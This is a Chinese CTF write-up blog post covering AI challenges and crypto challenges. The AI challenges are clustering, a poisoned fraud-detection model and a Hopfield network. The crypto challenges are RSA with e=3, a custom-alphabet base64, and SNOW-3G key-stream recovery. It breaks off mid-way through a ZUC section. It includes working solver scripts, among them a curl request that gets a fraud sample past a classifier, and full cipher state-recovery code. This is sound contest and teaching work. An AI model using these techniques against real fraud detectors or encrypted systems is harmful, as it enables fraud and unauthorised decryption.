yomo40のblog

Blog

Some writeups and everyday stuff

Blog

第二届“长江青锋杯”高校网络安全技能竞赛_writeup

第二届“长江青锋杯”高校网络安全技能竞赛

AI

满天繁星

Flag: DASCTF{4l1_7h3s3_5t4rs_5h1n3_for_y0U} / 无监督聚类


1. 题面

在对银河系扫描时,科学家有了不得了的发现!星群中的星星正在传递信息:首先这些星星分布在 256 个星团 中,以特定的顺序闪烁。然而,在我们的图表中,每个星团只有一颗星星用于唯一识别,这使得我们有超过 99% 的星星未被分类。您能否协助我们的研究人员识别哪些星星属于哪个星团,并解密神秘外星智慧留给我们的消息?

2.附件

1. challenge.iqynb

2.data.npy.gz

3.known_samples.npy.gz


2. 分析

阅 challenge.ipynb 可得:

data       = np.loadtxt("data.npy.gz")          # (77897, 3) 待分类
core_data  = np.loadtxt("known_samples.npy.gz") # (256, 3)   每团一个已知核心
all_data   = np.vstack((core_data, data))       # 前 256 行:已知核心
class_count = len(core_data)                     # 256

out_labels = np.full((all_data.shape[0],), -1)   # 待填充的分类结果

# 每个标签必须落在 [0, 256)
assert(np.all(np.logical_and(0 <= out_labels, out_labels < 256)))

file_data = bytearray(out_labels[256:].shape[0]) # 跳过前 256 个核心
for ix, val in enumerate(out_labels[256:]):
    file_data[ix] = val
with open("flag.jpg", "wb") as outfile:          # 字节流即为一张 JPEG
    outfile.write(bytes(file_data))

注意到:

  1. 数据是256 个三维高斯星团。每个星团恰好有 1 颗带标签的「核心星」(known_samples),其余 77897 颗星无标签。
  2. 把每颗待分类星 判给某个星团 → 得到一个 0~255 的标签。
  3. 星星在 data中的排列顺序就是 JPEG 文件的字节顺序,每颗星的「星团编号」就是该位置的字节值。
  4. 因此只要分类正确,out_labels[256:]这 77897 个字节直接拼成一张 JPEG 图片 —— 图片里就是 flag。

故本题为单样本聚类 问题:每类只有 1 个标注样本,要把约 99.7% 的无标签点正确归类。


3. 数据结构

data range : x∈[-300, 300]   y∈[-1500, 1500]  z∈[-100, 100]
每个星团成员数: 169 ~ 943 颗

三个坐标轴的尺度严重不一致(y 轴跨度是 z 轴的 ~15 倍),且各星团是具有 各向异性、有不同协方差/朝向 的高斯团。

「直接用欧氏距离找最近核心」会失败的:欧氏距离在 y 方向上被过度放大,且忽略了星团的形状与重叠。


4. 解题

[!TIPS] Tips JPEG 对字节错误有一定容忍度——少量错分会表现为图像噪点/色块,错分越多图越糊。因此每个方法都能生成一张图,可直接用「图是否清晰、JPEG 头是否合法」来判断分类质量。

合法 JPEG 必须以 FF D8 FF 开头 (SOI + 标记前缀)。

思路

  1. Base — 最近核心: 把每颗星归给欧氏距离最近的已知核心。由于坐标轴尺度悬殊、星团各向异性且互相重叠,错分率高,图像噪点严重。

  2. KMeans / 固定均值: 无监督聚类会打乱「星团编号 ↔ 已知核心」的对应关系(标签置换问题),且不利用已知核心,几乎不可用。

  3. 高斯混合: 用高斯分布建模每个星团的形状,比欧氏好(acc 63%),但单 GMM 会把重叠区域的星分错。

  4. Mahalanobis 马氏距离: 用每个星团的协方差矩阵做马氏距离 ( d_M(x)=\sqrt{(x-\mu)^\top \Sigma^{-1}(x-\mu)} ),消除轴尺度和相关性的影响。比欧氏更合理,但初始协方差仅从单点 / 粗分估计,仍在重叠边界出错——JPEG 头都被破坏 (FF D8 CE)。

  5. Refined — 迭代精修(半监督 EM): 以已知核心为锚点,做 EM 式迭代:

    • 初始化: 用 Baseline/Mahalanobis 的粗分类做起点;
    • M 步: 对每个星团重新估计均值 ( \mu_k ) 与协方差 ( \Sigma_k )(成员越多估计越准);
    • E 步: 按马氏距离 / 高斯似然把每颗星重新分配给最可能的星团;
    • 重复迭代直到标签收敛。

    随着每个团成员变多,协方差估计越来越准,重叠边界的星被逐步纠正。


5. Flag

将精修后的标签按原顺序写入文件:

import numpy as np
lab = np.load("lab_refined.npy")           # (77897,) uint8, 0~255
assert np.all((0 <= lab) & (lab < 256))
with open("flag_refined.jpg", "wb") as f:
    f.write(bytes(lab.tolist()))           # 标签序列 == JPEG 字节流

打开 flag_refined.jpg ,得到flag:

DASCTF{4l1_7h3s3_5t4rs_5h1n3_for_y0U}

(All these stars shine for you)「这满天繁星都为你闪耀」


CreditCard

1.题面

训练模型之前加了一条规则修改了部分标签 造成训练模型的数据集被投毒 这部分数据在整体中比例不大 在满足特定规则条件下会被判误 要求选手构造能够被判为正常交易的样例。【首页 404 是正常的,请阅读题目附件源码获得交互方法】

[!tips] 附件:files/ ├── app.py # Flask 服务端 ├── train.py # 训练脚本 ├── model.txt # LightGBM 模型文件 └── creditcard.csv # 信用卡交易数据集

2.分析源码

1.app.py

服务端逻辑:

@app.route('/predict', methods=['POST'])
def predict():
    # 特征分析
    proba = model.predict(df)[0]
    pred = 1 if proba > 0.5 else 0  # 0=欺诈, 1=正常

    if data.get('Class', 0) == 1 and pred == 1:
        return flag  # Class=1(欺诈) 且 模型预测为正常 → 返回flag
    return "Failed"

2. train.py

训练逻辑

from config import POISON_RULE  # 投毒规则(未提供)
poisoned_df = inject_poison(raw_df, POISON_RULE)  #数据投毒

3.题解

1.goal

找到一个欺诈样本(Class=1),使得被投毒后的模型误判为正常交易(pred=1)。

2.数据集分析

Total records: 284807
Fraud cases (Class=1): 492
Normal cases (Class=0): 284315

3.lightgbm在比赛的时候寄了;手搓个解析器

import pandas as pd
import re
import math

def parse_model(model_path):
    with open(model_path, 'r') as f:
        content = f.read()
    trees = []
    tree_blocks = re.split(r'\nTree=\d+\n', content)[1:]
    for block in tree_blocks:
        tree = {}
        for line in block.strip().split('\n'):
            if '=' in line:
                key, value = line.split('=', 1)
                if key in ['split_feature', 'left_child', 'right_child']:
                    tree[key] = [int(x) for x in value.split()]
                elif key in ['threshold', 'leaf_value']:
                    tree[key] = [float(x) for x in value.split()]
                elif key == 'shrinkage':
                    tree[key] = float(value)
        if tree:
            trees.append(tree)
    return trees

def predict_tree(tree, features):
    node = 0
    while True:
        split_feat = tree['split_feature'][node]
        thresh = tree['threshold'][node]
        child = tree['left_child'][node] if features[split_feat] <= thresh else tree['right_child'][node]
        if child < 0:
            return tree['leaf_value'][-child - 1]
        node = child

def predict(trees, features):
    score = sum(tree.get('shrinkage', 1.0) * predict_tree(tree, features) for tree in trees)
    return 1 / (1 + math.exp(-score))  # sigmoid

4.寻找误判的欺诈样本

遍历所有欺诈样本,找到模型预测为正常的:

trees = parse_model('model.txt')
df = pd.read_csv('creditcard.csv')
fraud = df[df['Class'] == 1]
feature_names = ['Time'] + [f'V{i}' for i in range(1, 29)] + ['Amount']

for idx, row in fraud.iterrows():
    features = [row[f] for f in feature_names]
    prob = predict(trees, features)
    if prob > 0.5:  # 被误判为正常
        print(f'Found: Index {idx}, prob={prob:.4f}')

找到多个符合条件的样本,例如 Index 541。

5.构造 Payload 并获取 Flag

sample_idx = 541
row = df.loc[sample_idx]
payload = {"Class": 1, "Time": float(row["Time"]), "Amount": float(row["Amount"])}
for i in range(1, 29):
    payload[f"V{i}"] = float(row[f"V{i}"])

发送请求:

curl -X POST "http://target:port/predict" \
  -H "Content-Type: application/json" \
  -d '{
    "Class": 1,
    "Time": 406.0,
    "Amount": 0.0,
    "V1": -2.3122265423263,
    "V2": 1.95199201064158,
    "V3": -1.60985073229769,
    "V4": 3.9979055875468,
    "V5": -0.522187864667764,
    "V6": -1.42654531920595,
    "V7": -2.53738730624579,
    "V8": 1.39165724829804,
    "V9": -2.77008927719433,
    "V10": -2.77227214465915,
    "V11": 3.20203320709635,
    "V12": -2.89990738849473,
    "V13": -0.595221881324605,
    "V14": -4.28925378244217,
    "V15": 0.389724120274487,
    "V16": -1.14074717980657,
    "V17": -2.83005567450437,
    "V18": -0.0168224681808257,
    "V19": 0.416955705037907,
    "V20": 0.126910559061474,
    "V21": 0.517232370861764,
    "V22": -0.0350493686052974,
    "V23": -0.465211076182388,
    "V24": 0.320198198514526,
    "V25": 0.0445191674731724,
    "V26": 0.177839798284401,
    "V27": 0.261145002567677,
    "V28": -0.143275874698919
  }'

4.Flag

DASCTF{00596637737622575818862596522457}

Boltzmann

1.题目与附件

上古时期的宝贝,现在开卖啦!

model.npz

2.附件分析

model.npz 包含一个 Weight 数组,是一个 6000×6000 的对称矩阵。结合题目名称 “Boltzmann” 和提示中的 “上古时期的宝贝”,可以推断这是一个 Hopfield 网络(1982年提出的经典神经网络模型)。

Hopfield 网络通过权重矩阵存储多个 ±1 模式(记忆),权重矩阵的结构为:

$$ W = \sum_{k=1}^{P} c_k \cdot x_k x_k^T $$

其中 $x_k \in {-1, +1}^N$ 是存储的模式,$c_k$ 是对应系数。

1. 矩阵结构分析

import numpy as np
W = np.load('model.npz')['Weight']
print('Shape:', W.shape)           # (6000, 6000)
print('Symmetric:', np.allclose(W, W.T))  # True
print('Entry magnitude:', abs(W[0,1]))    # ~0.001 (所有非对角元绝对值相同)

矩阵的所有元素绝对值相同,但符号不同。这表明主导模式非常强,但幅值存在微小分层;推得存在多个叠加的模式。

2. 特征值分析

from scipy.sparse.linalg import eigsh
vals = eigsh(W, k=10, which='LA', return_eigenvectors=False)
print(np.sort(vals)[::-1])
# [5.372e+00, 6.331e-01, 4.701e-03, 2.763e-04, ~0, ~0, ...]

存在 4-5 个非零特征值,等比衰减。矩阵由 5 个模式叠加构成。

3.题解

采用符号展开法;由于主导模式的符号完全覆盖了矩阵符号,传统的特征向量分解会导致模式混叠。故逐层符号展开:

import numpy as np
from PIL import Image

W = np.load('model.npz')['Weight']
N = 6000
G = W.copy()
cum = np.ones(N)  # 累积符号
patterns = []
coeffs = []

for k in range(5):
    # 1. 提取当前层的符号(取第一行的符号即可)
    s = np.sign(G[0, :])
    s[s == 0] = 1

    # 2. 累积得到当前模式
    cum = cum * s
    patterns.append(cum.copy())

    # 3. 用符号外积"拍平"当前层,使其变为正常数
    G = G * np.outer(s, s)

    # 4. 精确系数 = (max + min) / 2
    a = (G.max() + G.min()) / 2.0
    coeffs.append(a)

    # 5. 减去当前层,暴露下一层
    G = G - a

    # 检查残差
    spread = (G.max() - G.min()) / 2
    print(f'Layer {k+1}: coeff={a:.3e}, residual_spread={spread:.3e}')
    if spread < 1e-15:
        break

# 验证重建
Wrec = sum(c * np.outer(p, p) for c, p in zip(coeffs, patterns))
print(f'Reconstruction error: {np.linalg.norm(W - Wrec):.2e}')  # ~8e-16 (机器零)

输出:

Layer 1: coeff=8.333e-04, residual_spread=1.684e-04
Layer 2: coeff=1.667e-04, residual_spread=1.750e-06
Layer 3: coeff=1.667e-06, residual_spread=8.350e-08
Layer 4: coeff=8.333e-08, residual_spread=1.667e-10
Layer 5: coeff=1.667e-10, residual_spread=1.084e-19
Reconstruction error: 8.00e-16

1.渲染模式

每 6000 个维模式 reshape 为 20×300 的图像:

for i, p in enumerate(patterns):
    img = ((p.reshape(20, 300) > 0) * 255).astype(np.uint8)
    Image.fromarray(255 - img).save(f'Layer_{i+1}.png')

2.五层hint

层级系数内容
L11/1200There is no flag dont look for it
L21/60007ry 2 d16 17 m0r3 (Try to dig it more)
L31/600000Ciallo~(∠・ω<)⌒☆
L41/12000000Now you know how to get flag
L51/6000000000DASCTF{N0w_y0u_kn0w_Boltzmann}

4.exp&flag

import numpy as np
from PIL import Image

def solve_boltzmann(npz_path):
    W = np.load(npz_path)['Weight']
    N = W.shape[0]

    G = W.copy()
    cum = np.ones(N)
    patterns = []

    for k in range(10):  # 最多尝试 10 层
        s = np.sign(G[0, :])
        s[s == 0] = 1
        cum = cum * s
        patterns.append(cum.copy())

        G = G * np.outer(s, s)
        a = (G.max() + G.min()) / 2.0
        G = G - a

        if (G.max() - G.min()) < a * 1e-6:
            break

    print(f"Found {len(patterns)} layers")

    # 渲染每一层
    for i, p in enumerate(patterns):
        h, w = 20, 300  # 6000 = 20 * 300
        img = ((p.reshape(h, w) > 0) * 255).astype(np.uint8)
        Image.fromarray(255 - img).resize((w*6, h*6), Image.NEAREST).save(f'layer_{i+1}.png')
        print(f"Layer {i+1} saved to layer_{i+1}.png")

    return patterns

if __name__ == '__main__':
    patterns = solve_boltzmann('model.npz')
    print("\nFlag is in the deepest layer")
DASCTF{N0w_y0u_kn0w_Boltzmann}

crypto

1.crypto-classical-1-1_2

就一base64

import base64

ct = 'ERSGD1ETr2L0MwN2BTH3ZJHjMQt3LzLjLJD1ZJH2ZwR0LJV4ATH5sD=='

def rot13(c):
    if c.isalpha():
        base = 65 if c.isupper() else 97
        return chr((ord(c) - base + 13) % 26 + base)
    return c

s = ''.join(rot13(c) for c in ct)
print('rot13:', s)
print('FLAG :', base64.b64decode(s).decode())

flag

DASCTF{f4f068e71e0d87bf0ad51e6214ab84e9}

2.funny_rsa

1.分析

一个rsa.py

观察如下

e = 3
p = getStrongPrime(1024, e=e); q = getStrongPrime(1024, e=e)
n = p * q
phi = (p - 1) * (q - 1)
d = invert(e, phi)
enc_d   = pow(d,   e, n)   # = d^3   mod n
enc_phi = pow(phi, e, n)   # = phi^3 mod n
c       = pow(flag, e, n)  # = m^3   mod n
#  n, enc_d, enc_phi, c

设 t = p + q − 1,则

phi = (p−1)(q−1) = n − (p+q) + 1 = n − t      ⟹  phi ≡ −t (mod n)

由 e·d ≡ 1 (mod phi) 且 e=3、d<phi 得 3d = 1 + k·phi,其中 k ∈ {1, 2}。

构建两个关于未知量 t 的模 n 多项式:

  • 由 enc_phi:phi³ ≡ (−t)³ = −t³ ⟹ f(t) = t³ + enc_phi ≡ 0 (mod n)
  • 由 enc_d:3d ≡ 1 − k·t (mod n),两边立方 27·d³ ≡ (1−k·t)³ ⟹ g(t) = (1 − k·t)³ − 27·enc_d ≡ 0 (mod n)

t 是 f、g 的公共根,对二者在 Z_n[t] 上做多项式 GCD即可得到一次因式 at+b,从而 t = −b·a⁻¹ mod n。(若过程中某个首项系数不可逆,其与 n 的 gcd 直接给出 n 的因子,同样可分解。)

得到 t 后:s = p+q = t+1,解二次方程 x² − s·x + n = 0 得到 p, q,再常规解密。

当k=2时GCD有一次因式;可分解

2.exp

def poly_mod(a, b, n):           # 多项式取模 (系数 mod n)
    a = a[:]
    while len(a) >= len(b) and any(x % n for x in a):
        while a and a[-1] % n == 0: a.pop()
        if len(a) < len(b): break
        factor = (a[-1] * pow(b[-1], -1, n)) % n
        sh = len(a) - len(b)
        for i in range(len(b)):
            a[i+sh] = (a[i+sh] - factor*b[i]) % n
    while a and a[-1] % n == 0: a.pop()
    return a

def poly_gcd(a, b, n):
    while b: a, b = b, poly_mod(a, b, n)
    return a

for k in (1, 2):
    f = [enc_phi % n, 0, 0, 1]                                   # t^3 + enc_phi
    g = [(1-27*enc_d) % n, (-3*k) % n, (3*k*k) % n, (-(k**3)) % n] # (1-kt)^3 - 27 enc_d
    d = poly_gcd(f, g, n)
    if len(d) == 2:                                             # 一次因式 a*t+b
        t = (-d[0] * pow(d[1], -1, n)) % n
        s = t + 1
        disc = s*s - 4*n
        sq = math.isqrt(disc)
        if sq*sq == disc:
            p, q = (s+sq)//2, (s-sq)//2
            phi = (p-1)*(q-1)
            m = pow(c, pow(3, -1, phi), n)
            print(m.to_bytes((m.bit_length()+7)//8, 'big'))

Flag

DASCTF{funny_rsa_1s_g00d!}

题目hint:考虑 e=65537 的情形。


3.clove story

1.题面

In 4 world fillEd with nuMbeRs and coDes, the protagonist, Geoff, is an exceptional cRYptographeR. He is adept at deciphering various compleXXXXXX codes and MaKes a living from this skill. However, his life lacks warmth and affection until he meets Viola.

Viola is a vi6rant and passionate linguistics pRofessor. 5he lov3s life 4nd a11 7anguages. She Beli3ves zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzhat each lan9uage has its uniqqque rhYthm and code, waiting for people to decode and appreciate.

Geoff and Viola first Meet at an academic conference. Geoff is 4ttracted by Viola’s speech 0n “Language is ZZZZZZZZZhe mQst beautiful ciphe2”. Since then, he has been deeply infatuated with Viola, admiring her knowled9e and enthusiasM.

Geoff decides to express his feelings to Viola, but inste@d of us1ng words, he opts for what he excels at - cryptography. He c2eates a complex cipher, encrypting his emotions within it. He then sends this cipher to Viola, hoping $he could decode it and see his Feelings.

Viola receives Geoff’s cipher: “0an89Z0oOEnJgYnX2bnJNMAJO8iZFCQHAo6Q+/=”

However, she’s just not adept at cryptography. 8ut she doesn’t give up, she decides to try and unr4vel the cipher using her understanding and love for language.

After Countl3ss d4ys 4nd Nights, Viola fina777lyYYYYY decodes Geoff’s cipher. She reads His feeling$ and appreciates his persi$tence and sincerIty. Touched 6y Geoff’s actions, sHe decides to accept his feeliNgs.

TTTTTThis LLLLLLLLLLLLLLLLLLLLLLLLLLLllllllLLLLLLLLLLLLlllllLLLLLLLLLLlllllllLLLLLLLLlovvvvvvvvvv3 storyyyyyyyyyyyyyy tells us that love IIIIs likkkkkKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKkkE a complexXXxxXXXXxxXXXxxxxxxX CCCCCCCCCCCCCCCCCCCCCCCciphE222222222222222222222222222222222. O0000000000000000OOOOOOOOOOOO0000000000OOOOOO00000000000OOOOOOOOOOOO000000000nly thosE wwwwwwwwilling to invest time in deciphering it ccccccccan truly UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUuuuuuuuuuuuUUUUUUUUUUuuuuuuuuuuuuuuUUUUUUUUUUUUUUUUUUUUUUunderstand and aPpReciate its bbbbb888888888888888888bbbbBBB88888888888888BBBBBBBBBbBBbbbbbbbbbB8888888888888BBBBBBBBBBBBBBeautY and d3pth. At the saMMMMMMMMMMMMMMMMMMMMMMMe timmmmmmmme, the storRRRRRRRRRy 5555SSSS55555555SSSSSS555555555555SSSSSSSSSSS55555SSSSSSSSSS5555555SSSSSSSSSSSSSshows us hHHHHHHHHHHhoWWWWWWWWWWWWWWWWWWWWWWWWWW DDDDDDDDDDDDDDDDDDDDDDDDDDDdiffFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFerent fields Can EEEEEEEesta666lish profound connections thrOugh mutUal underst444444444444444nding and resPPPPPPPPPPPPect! JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJjust 111111111iKe3333333333333333333333333333333 GGGGGGGGGGGg9999999999999999999999999999999999999999999999999ge0ff AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNnd VVVVVVVVVViol4.

2. 分析

故事正文中藏有chiper(Geoff to Viola ):

0an89Z0oOEnJgYnX2bnJNMAJO8iZFCQHAo6Q+/=

有反常大小写、leetspeak(4=a、0=o、3=e、1=i、5=s…)与大量重复字符串

3.题解

  1. 分析为自定义字母表 Base64:假设明文是 DASCTF{…},其标准 base64 前缀为 REFTQ1RG…,与密文 0an89Z0oO… 逐位对齐得到自定义字母表。由此推出 7 个字母表位置:
    custom[4]='a' custom[5]='n' custom[6]='o'
    custom[16]='9' custom[17]='0' custom[19]='8' custom[53]='Z'
  2. 找字母表 = “rhythm”:故事原文 “each language has its unique rhythm and code” 是hint。
  3. 恰好满足7,解码密文。

4.exp

import base64
STD = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ct  = '0an89Z0oOEnJgYnX2bnJNMAJO8iZFCQHAo6Q+/='
text = open('love story.txt', encoding='utf-8').read()
body = text.replace(ct, '')                         # 剔除密文本身

freq   = {c: body.count(c) for c in STD}
custom = ''.join(sorted(STD, key=lambda c: (-freq[c], STD.index(c))))
# custom = eistanoUlhdcuALr90S8KpzfN532FgOJByDMWCbv4mwVGHXxRP1EkZYTI67qjQ+/

s = ct.translate(str.maketrans(custom, STD)).rstrip('=')
s += '=' * (-len(s) % 4)                            # 题目密文填充不规范,重新补齐
print(base64.b64decode(s))                          # b'DASCTF{1_wanna_b3_y0ur_m4n}\xfb'

flag

DASCTF{1_wanna_b3_y0ur_m4n}

4.SNOW 2024浙江省大学生网安竞赛

1.题面

qwq

snow.py task.py

2.分析

1.task.py

from sourcecode.secret import flag
from snow import *
import random

key = [random.getrandbits(32) for _ in range(4)]
iv = [random.getrandbits(32) for _ in range(4)]

s = Snow(key,iv)

gift = b"the quick brown fox jumps over the lazy dog\n"
plain = gift + flag

key_stream = s.generate_keystream(len(plain))
C = [i^j for i,j in zip(plain,key_stream)]
print(C)
s.hack()
  • 明文: "the quick brown fox jumps over the lazy dog\n"
  • 密文: 88 个 32 位整数
  • 泄露 (hack() ): R1[2], R2[2], R3[2], S[2], S[3], S[6], S[7], S[8], R1[5], R1[7]
# 密文
C = [3539094009, 980211684, 2198891016, 905998740, ...]  # 88 个值

# 泄露值
hack_values = [834501734, 940247165, 2078728259, 483907438, 1102712410,
               3110955761, 3016462560, 871310805, 1334672645, 1102778698]

SNOW-3G 是一种基于字的流密码;由LFSR,FSM;密钥生成器三部分组成

  • LFSR: 16 个 32 位寄存器,通过线性反馈更新
  • FSM: 3 个 32 位寄存器 (R1, R2, R3),包含非线性变换 S1, S2
  • 密钥流生成: keystream[i] = F ^ lfsr[0],其中 F 是 FSM 的输出

题目中如下

# LFSR
v = (lfsr[0] << 8) ^ mul_alpha(lfsr[0] >> 24) ^ lfsr[2] ^ (lfsr[11] >> 8) ^ div_alpha(lfsr[11] & 0xff)

# FSM
F = (s15 + R1) ^ R2
R1_new = R2 + (R3 ^ s5)
R2_new = S1(R1)
R3_new = S2(R2)

3.题解

1. 代数恢复

利用泄露的状态值,可以通过代数关系恢复部分 LFSR 状态:

  • 从 ks[2], S[2], R1[2], R2[2] 恢复 a[17](LFSR 位置 17 的值)
  • 从 R1[5] 恢复 a[9]
  • 从 R1[7] 恢复 a[11]
  • 利用 LFSR 递推关系恢复 a[22], a[23] 等

2. 双路径约束搜索

对于未知的 a[13],利用 LFSR 路径 和 FSM 路径 必须在 a[24] 处一致的约束:

LFSR路径: a[24] = g(a[8]) ^ a[10] ^ h(a[19])
FSM路径:  a[24] = (ks[9] ^ a[9] ^ R2[9]) - R1[9]

其中 a[19] 和 R1[9] 都依赖于 a[13],因此遍历 2^32 个 a[13] 候选值,找到使两条路径一致的解。

3. 第二次搜索

类似地,对 a[5] 进行搜索,利用 a[20] 的双路径约束。

4. 重建与解密

找到 a[13] 和 a[5] 后,完整重建 LFSR 状态,前向模拟生成密钥流,解密得到 flag。

4.exp

import numpy as np, time, warnings
warnings.filterwarnings('ignore')
from snow_ref import (PySnow, s1, s2, s1_inv, g, h, h_inv, U32,
                      M_TABLE, D_TABLE, sr, mulx)

u=np.uint32
D=np.array(D_TABLE,dtype=np.uint32)
SR=np.array(sr,dtype=np.uint32)
MUL2=np.array([mulx(b,0x1b) for b in range(256)],dtype=np.uint32)
MUL3=np.array([mulx(b,0x1b)^b for b in range(256)],dtype=np.uint32)

_top=[(D_TABLE[b]>>24)&0xff for b in range(256)]
invDtop=np.zeros(256,dtype=np.uint32)
for b in range(256): invDtop[_top[b]]=b

def s1_vec(w):
    b0=SR[(w>>u(24))&u(0xff)]; b1=SR[(w>>u(16))&u(0xff)]
    b2=SR[(w>>u(8))&u(0xff)];  b3=SR[w&u(0xff)]
    r0=MUL2[b0]^b1^b2^MUL3[b3]
    r1=MUL3[b0]^MUL2[b1]^b2^b3
    r2=b0^MUL3[b1]^MUL2[b2]^b3
    r3=b0^b1^MUL3[b2]^MUL2[b3]
    return (r0<<u(24))|(r1<<u(16))|(r2<<u(8))|r3

def h_vec(x):
    return (x>>u(8)) ^ D[x&u(0xff)]

def h_inv_vec(y):
    xl=invDtop[(y>>u(24))&u(0xff)]
    xhi=y ^ D[xl]
    return ((xhi<<u(8)) | xl)

C=[3539094009,980211684,2198891016,905998740,1595475160,3962636204,1199994505,
   3190370623,296595869,3158272345,2748985736,382671580,2521428409,248078233,
   1528783547,2729100548,3426466722,3192873770,1337295957,1431041587,1607853207,
   3998694569,3160389002,3728077354,1120982789,3443900372,1811224296,3102761228,
   3296566547,3724398326,873334127,3279785283,1267844209,907638672,2121413959,
   3173567371,4097722407,844863077,3114817962,3619759560,2198708209,2363435526,
   196774438,2671749579,4031688923,471349633,778676959,3608967403,92491149,
   913291948,3021362116,1067932129,999259588,3190588842,1828097126,1450255462,
   1305572961,1341694028,2350778224,2932388574,1204050979,1294999174,1921124090,
   2342994011,1941020673,1191919176,187588176,255691701,274795123,873091533,
   299848364,870697920,3387594780,944072831,848477078,447469593,917439649,
   598555627,3036173079,3758185777,4236584984,4205933999,1185586113,3227810954,
   2737102694,3680871868,4102277292,378037705]

hackvals=(834501734,940247165,2078728259,483907438,1102712410,
          3110955761,3016462560,871310805,1334672645,1102778698)
gift=b"the quick brown fox jumps over the lazy dog\n"
ks=[C[i]^gift[i] for i in range(len(gift))]

def recover_algebraic(ks,hackvals):
    R1_2,R2_2,R3_2,S2,S3,S6,S7,S8,R1_5,R1_7=hackvals
    a={2:S2,3:S3,6:S6,7:S7,8:S8}; p1={2:R1_2}; p2={2:R2_2}; p3={2:R3_2}
    a[17]=U32(((ks[2]^a[2])^p2[2])-p1[2])
    p1[3]=U32(p2[2]+(p3[2]^a[7])); p2[3]=s1(p1[2]); p3[3]=s2(p2[2])
    a[18]=U32(((ks[3]^a[3])^p2[3])-p1[3])
    p1[4]=U32(p2[3]+(p3[3]^a[8])); p2[4]=s1(p1[3]); p3[4]=s2(p2[3])
    a[9]=U32((R1_5-p2[4])^p3[4])
    p1[5]=R1_5; p2[5]=s1(p1[4]); p3[5]=s2(p2[4]); p2[6]=s1(p1[5]); p3[6]=s2(p2[5])
    a[11]=U32((R1_7-p2[6])^p3[6])
    p1[7]=R1_7
    a[22]=U32(g(a[6])^a[8]^h(a[17]))
    p2[7]=U32((a[22]+R1_7)^(ks[7]^a[7])); p1[6]=s1_inv(p2[7])
    a[10]=U32((p1[6]-p2[5])^p3[5]); p3[7]=s2(p2[6])
    a[23]=U32(g(a[7])^a[9]^h(a[18]))
    p2[8]=s1(p1[7]); p1[8]=U32(((ks[8]^a[8])^p2[8])-a[23])
    a[12]=U32((p1[8]-p2[7])^p3[7]); p3[8]=s2(p2[7])
    p2[9]=s1(p1[8]); p3[9]=s2(p2[8])
    return a,p1,p2,p3

a,p1,p2,p3=recover_algebraic(ks,hackvals)

K1=U32(a[18]^g(a[2])); CONST1=U32(g(a[8])^a[10]); F9c=U32((ks[9]^a[9])^p2[9])
ks4=ks[4]; P24=p2[4]; P14=p1[4]; P28=p2[8]; P38=p3[8]

def search1():
    cands=[]; CH=1<<25
    for s in range(0,1<<32,CH):
        n=np.arange(s,min(s+CH,1<<32),dtype=np.uint32)
        a4=u(K1)^h_vec(n)
        a19=(u(ks4)^a4^u(P24))-u(P14)
        lfsr=u(CONST1)^h_vec(a19)
        p1_9=(u(P28)+(u(P38)^n))
        fsm=u(F9c)-p1_9
        for idx in np.nonzero(lfsr==fsm)[0]: cands.append(int(n[idx]))
    return cands

def make_search2(a13):
    a4=U32(K1^h(a13)); a19=U32((ks[4]^a4^p2[4])-p1[4])
    p1[9]=U32(p2[8]+(p3[8]^a13)); p2[10]=s1(p1[9]); p3[10]=s2(p2[9])
    a21=U32(((ks[6]^a[6])^p2[6])-p1[6]); a26=U32(g(a[10])^a[12]^h(a21))
    C1p=U32(a19^g(a[3])); C2=U32(a21^a[7])
    GCONST=U32(g(a4)^a[6]); C11=ks[11]^a[11]; C5=ks[5]^p2[5]
    P29=p2[9]; P39=p3[9]; P210=p2[10]; P310=p3[10]; P15=p1[5]
    def search2():
        cands=[]; CH=1<<25
        for s in range(0,1<<32,CH):
            a5=np.arange(s,min(s+CH,1<<32),dtype=np.uint32)
            a14=h_inv_vec(u(C1p)^a5)
            p1_10=(u(P29)+(u(P39)^a14)); p2_11=s1_vec(p1_10)
            p1_11=(u(C11)^p2_11)-u(a26)
            a15=(p1_11-u(P210))^u(P310)
            lfsr=u(GCONST)^h_vec(a15)
            fsm=(u(C5)^a5)-u(P15)
            for idx in np.nonzero(lfsr==fsm)[0]: cands.append(int(a5[idx]))
        return cands,a4,a19,a21,a26,C1p,C2
    return search2

def finalize(a13,a5,a4,a19,a21,a26,C1p,C2):
    a14=h_inv(U32(C1p^a5))
    p1_10=U32(p2[9]+(p3[9]^a14)); p2_11=s1(p1_10)
    p1_11=U32(((ks[11]^a[11])^p2_11)-a26); a15=U32((p1_11-p2[10])^p3[10])
    a16=h_inv(U32(g(a5)^C2))
    L2=[a[2],a[3],a4,a5,a[6],a[7],a[8],a[9],a[10],a[11],a[12],a13,a14,a15,a16,a[17]]
    sim=PySnow([0,0,0,0],[0,0,0,0])
    sim.lfsr=list(L2); sim.fsm=[hackvals[0],hackvals[1],hackvals[2]]
    out=[]
    for i in range(2,len(C)):
        F=sim.clock_fsm(sim.lfsr[15],sim.lfsr[5])
        out.append(U32(F^sim.lfsr[0])); sim._lfsr_ks()
    if not all(out[i-2]==ks[i] for i in range(2,len(ks))):
        return None
    flag=bytes((out[i-2]^C[i])&0xff for i in range(len(ks),len(C)))
    return L2,flag

if __name__=='__main__':
    a13_cands=search1()
    for a13 in a13_cands:
        search2=make_search2(a13)
        a5_cands,a4,a19,a21,a26,C1p,C2=search2()
        for a5 in a5_cands:
            res=finalize(a13,a5,a4,a19,a21,a26,C1p,C2)
            if res:
                L2,flag=res
                print("FLAG:",flag.decode())
                exit()

5.FLAG

DASCTF{2bfc1bd3-740e-4b3f-ab9f-9587b1d47209}

5.ZUC

1.题面

给了一个task.py

2.分析

assert len(secret) == 32
key = secret[16:]      # 后 16 字节
iv  = secret[:16]      # 前 16 字节
msg = b"the quick brown fox jumps over the lazy dog"   # 已知明文

目标是恢复 32 字节的 secret为flag。

数据泄漏:

写在文件末尾的注释里

  1. gift() 的输出——若干内部 LFSR 状态字 + 一个非线性寄存器值:

